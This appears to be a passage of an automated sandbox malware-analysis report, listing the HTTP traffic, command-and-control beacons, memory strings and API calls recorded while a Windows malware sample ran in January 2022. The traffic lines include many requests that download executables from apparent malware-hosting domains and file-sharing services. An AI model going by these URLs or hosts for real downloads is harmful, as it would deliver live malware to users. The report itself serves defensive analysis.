Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://twahbrsrsq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 151Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fmkbxykc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 242Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ioygerevc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 253Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qoipovw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 347Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jxsby.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 244Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vpapu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 241Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dsagecm.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 204Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hlxdj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 287Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fbcggnyslw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 349Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/8474_1641976243_3082.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://scmbkt.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 203Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mpexvij.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 344Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /9.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: a0621298.xsph.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tsnggl.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 338Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hxhwjbawy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 163Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dqwdlhs.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 342Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hynwee.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 284Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ffysvujf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 287Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://idjlltqohp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 110Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ypdjs.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 347Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sgcafdumt.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 204Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ulcduabuke.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 256Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tciav.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 316Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/7729_1642101604_1835.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rhsdqm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 133Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qfdwdtdqey.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 254Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /7.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: a0621298.xsph.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://txypw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 133Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hwocxsokb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 176Host: host-data-coin-11.com

Source: global traffic	TCP traffic: 192.168.2.3:49777 -> 185.7.214.171:8080
Source: global traffic	TCP traffic: 192.168.2.3:49906 -> 86.107.197.138:38133

Source: svchost.exe, 0000000F.00000002.431672786.000001F297B00000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 0000000F.00000002.431855823.000001F297B75000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399071133.000001F298002000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399178119.000001F297BA0000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399101971.000001F298003000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399207999.000001F298021000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399159191.000001F297B8F000.00000004.00000001.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: CBE6.exe, 00000019.00000002.467115286.0000000003F71000.00000004.00000001.sdmp, CBE6.exe, 00000029.00000000.460150165.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: svchost.exe, 0000000F.00000002.431855823.000001F297B75000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399071133.000001F298002000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399178119.000001F297BA0000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399101971.000001F298003000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399207999.000001F298021000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399159191.000001F297B8F000.00000004.00000001.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: svchost.exe, 0000000F.00000002.431855823.000001F297B75000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399071133.000001F298002000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399178119.000001F297BA0000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399101971.000001F298003000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399207999.000001F298021000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399159191.000001F297B8F000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 0000000F.00000002.431855823.000001F297B75000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399071133.000001F298002000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399178119.000001F297BA0000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399101971.000001F298003000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399207999.000001F298021000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399159191.000001F297B8F000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: svchost.exe, 0000000F.00000003.404987703.000001F297BA3000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.404785613.000001F298002000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.404636697.000001F298019000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.404578487.000001F298019000.00000004.00000001.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: unknown

DNS traffic detected: queries for: host-data-coin-11.com

Source: C:\Users\user\AppData\Local\Temp\C29C.exe

Code function: 20_2_00404BE0 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetSetOptionA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,InternetConnectA,InternetConnectA,HttpOpenRequestA,HttpOpenRequestA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrlen,lstrlen,GetProcessHeap,RtlAllocateHeap,lstrlen,memcpy,lstrlen,memcpy,lstrlen,lstrlen,memcpy,lstrlen,HttpSendRequestA,HttpQueryInfoA,StrCmpCA,Sleep,InternetReadFile,lstrcat,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

20_2_00404BE0

Source: global traffic	HTTP traffic detected: GET /32739433.dat?iddqd=1 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.233.81.115
Source: global traffic	HTTP traffic detected: GET /attachments/903666793514672200/930134152861343815/Nidifying.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /abhF HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: goo.su
Source: global traffic	HTTP traffic detected: GET /get/QbPlFD/G.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
Source: global traffic	HTTP traffic detected: GET /get/TQL2Nf/1.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
Source: global traffic	HTTP traffic detected: GET /get/VrsVTW/2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
Source: global traffic	HTTP traffic detected: GET /files/9030_1641816409_7037.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacy-tools-for-you-780.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /files/8474_1641976243_3082.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /9.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: a0621298.xsph.ru
Source: global traffic	HTTP traffic detected: GET /3.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /advert.msi HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /123.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /442.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /443.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /files/7729_1642101604_1835.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /7.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: a0621298.xsph.ru
Source: global traffic	HTTP traffic detected: GET /KX6KAZ9Tip.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /RMR.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /c_setup.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /

Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:20 GMTContent-Type: text/htmlContent-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.2Date: Fri, 14 Jan 2022 01:05:03 GMTContent-Type: text/plain; charset=utf-8Content-Length: 10Connection: closeRetry-After: Fri, 14 Jan 2022 02:05:08 GMTX-Content-Type-Options: nosniffX-Made-With: <3 by DutchCodersX-Ratelimit-Key: 127.0.0.1,84.17.52.18,84.17.52.18X-Ratelimit-Limit: 10X-Ratelimit-Rate: 600X-Ratelimit-Remaining: 9X-Ratelimit-Reset: 1642122308X-Served-By: Proudly served by DutchCoders
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.2Date: Fri, 14 Jan 2022 01:05:09 GMTContent-Type: text/plain; charset=utf-8Content-Length: 10Connection: closeRetry-After: Fri, 14 Jan 2022 02:05:14 GMTX-Content-Type-Options: nosniffX-Made-With: <3 by DutchCodersX-Ratelimit-Key: 127.0.0.1,84.17.52.18,84.17.52.18X-Ratelimit-Limit: 10X-Ratelimit-Rate: 600X-Ratelimit-Remaining: 9X-Ratelimit-Reset: 1642122314X-Served-By: Proudly served by DutchCoders
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f6 19 b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:14 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a 88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 2dI:82OI:J_J-WS,/0
